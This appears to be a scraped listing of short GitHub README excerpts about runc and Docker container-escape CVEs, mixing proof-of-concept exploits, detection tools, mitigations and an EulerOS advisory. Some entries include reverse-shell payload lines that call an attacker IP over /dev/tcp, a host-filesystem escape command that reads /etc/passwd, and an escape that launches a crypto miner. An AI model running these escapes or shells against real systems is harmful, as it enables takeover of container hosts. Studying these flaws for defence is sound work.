proxmox-lxc-docker-fix

Proxmox LXC AppArmor Fix for Docker/Containers Workaround for CVE-2025-52881 : Fixes Docker, Podman, and container runtime breakage in Proxmox LXC containers caused by AppArmor incompatibility with runc 1.2.7+/1.3.2+ 🚨 The Problem Recent security updates to runc versions 1.2.7+ and 1.3.2+ and...

CVE-2024-21626

PoC of CVE-2024-21626 Read my full article for detailed explanation here. Related article While investigating CVE-2024–21626 , I discovered an overlooked vulnerability in older versions of Docker and runC. To learn more about what I found, read the following article: “Exploring Hidden...

cve-2024-21626

CVE-2024-21626 Overview This repository contains code examples for an app vulnerable to CVE-2024-21626 as well as an eBPF gadget to detect exploitation attempts. This repoistory was created as part of this blog post. The gadget program used to detect this vulnerability is for demonstration purpos...

Docker-Escape-Miner

Using a published Docker exploit to gain root access and run a bitcoin mining script This uses two open source libraries: nightminer by @ricmoo for python bitcoin mining RunC-CVE-2019-5736 by @twistlock for the docker escape System Requirements This was tested on Kali Linux, with Docker version...

Docker-Runc-Exploit

Docker-Runc-Exploit Docker runc CVE-2019-5736 exploit Dockerfile. Credits : https://github.com/Frichetten/CVE-2019-5736-PoC.git...

container-escape-ebpf

White Paper https://www.scs-europe.net/dlib/2026/2026-0321.html Assumptions Host runs vulnerable version of runc: For CVE-2025-31133: 1.2.7 and below, 1.3.0-rc.1 through 1.3.2, 1.4.0-rc.1 and 1.4.0-rc.2. For CVE-2024-21626: 1.0.0-rc93 through 1.1.11. Unprivileged user is able to create containers...

cve-2019-5736-poc

CVE-2019-5736 Proof of Concept This appends a string to the host runc binary. Bring your own payload see stage2.c. To run: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...

cve_2019-5736-PoC

CVE-2019-5736 PoC This repository contains a C-based proof-of-concept exploit for CVE-2019-5736. This vulnerability allows a malicious Docker container to overwrite the host's runc binary and execute arbitrary commands on the host with root privileges – fully compromising the host system. Inspire...

cve-2019-5737

Linux: docker build -t cve:linux - Dockerfile docker run cve:linux strings /usr/bin/docker-runc | tail -n 2 Windows: Get-Content Dockerfile | docker build -t cve:windows docker run cve:windows findstr /usr/bin/docker-runc | tail -n 2...

Learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc Overview A proof-of-concept demonstration and learning environment for CVE-2025-31133 , a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive ho...

CVE-2024-21626-old-docker-versions

Container escape vulnerability in old runc components CVE-2024-21626 During my analysis about CVE-2024-21626 I found that other older docker components are vulnerable about fd leakage that is not mentioned in the security advisory GHSA-xr7r-f8xq-vfvv. Read my full article for detailed explanation...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In this project, we found a recent attack through the malicious container and implemented a security mechanism to stop it. Introduction Cyber-attacks have become a critical challenge for both companies and small businesses, largely due to vulnerabilitie...

CVE-2025-31133

CVE-2025-31133 PoC Exploit This document explains the functionality of the provided Proof-of-Concept PoC script for the runc vulnerability CVE-2025-31133. Summary Vulnerability: CVE-2025-31133 - A symbolic link race condition in runc's maskedPaths handling. Impact: A malicious container can bypas...

Docker-breakout-runc

Docker breakout via runc Originally from : https://github.com/Frichetten/CVE-2019-5736-PoC. This repo is simply me messing around with the PoC and attempting to figure the exploit's flow...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo for the LT at Container Runtime Meetup 5. This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited. Slides Container Runtime Meetup 5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626 Loggin...

EulerOS 2.0 SP13 : docker-runc (EulerOS-SA-2026-4042)

According to the versions of the docker-runc package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : runc is a CLI tool for spawning and running containers according to the OCI specification. In versions prior to 1.3.6, 1.4.0-rc.1, 1.4.0-rc.12...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...

CVE-2024-21626

CVE-2024-21626 Exploit Working Directory docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Important is to put -w /proc/self/fd/8\ Access the host filesystem using cat ../../../../../../../../../etc/passwd inside the container Exploit Symlink 1. docker run --name...

CVE-2019-5736

Usage Edit HOST inside payload.c, compile with make. Start nc and run pwn.sh inside the container. Notes This exploit is destructive: it'll overwrite /usr/bin/docker-runc binary on the host with the payload. It'll also overwrite /bin/sh inside the container. Tested only on Debian 9. No attempts...